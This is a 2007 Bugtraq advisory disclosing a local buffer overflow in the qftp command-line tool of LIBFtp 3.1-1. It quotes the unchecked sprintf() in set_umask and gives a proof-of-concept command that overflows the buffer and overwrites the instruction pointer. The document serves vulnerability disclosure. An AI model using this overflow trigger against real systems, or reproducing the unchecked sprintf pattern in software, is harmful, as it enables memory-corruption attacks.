QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
Date: Thu, 15 Mar 2007 19:27:06 +0100
From: "starcadi starcadi" <starcadi@gmail.com.>
To: securityfocus <bugtraq@securityfocus.com.>
Subject: QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
X-Virus-Scanned: antivirus-gw at tyumen.ru
http://nbpfaus.net/~pfau/ftplib/
qftp is a utility that performs file transfers using ftplib based on
instructions presented on the command line.
>> Description
buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.
>> Source error
in main():
337: case 'm' : set_umask(optarg); break;
..
void set_umask(char *m)
{
char buf[80];
sprintf(buf,"umask %s", m);
ftp_connect();
FtpSite(buf, conn);
}
>> POC
$ gcc ftplib.c getopt.c qftp.c -o ftpsend
$ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"`
Segmentation fault
# eip addr: $1 = (void *) 0x61616161
--
~ starcadi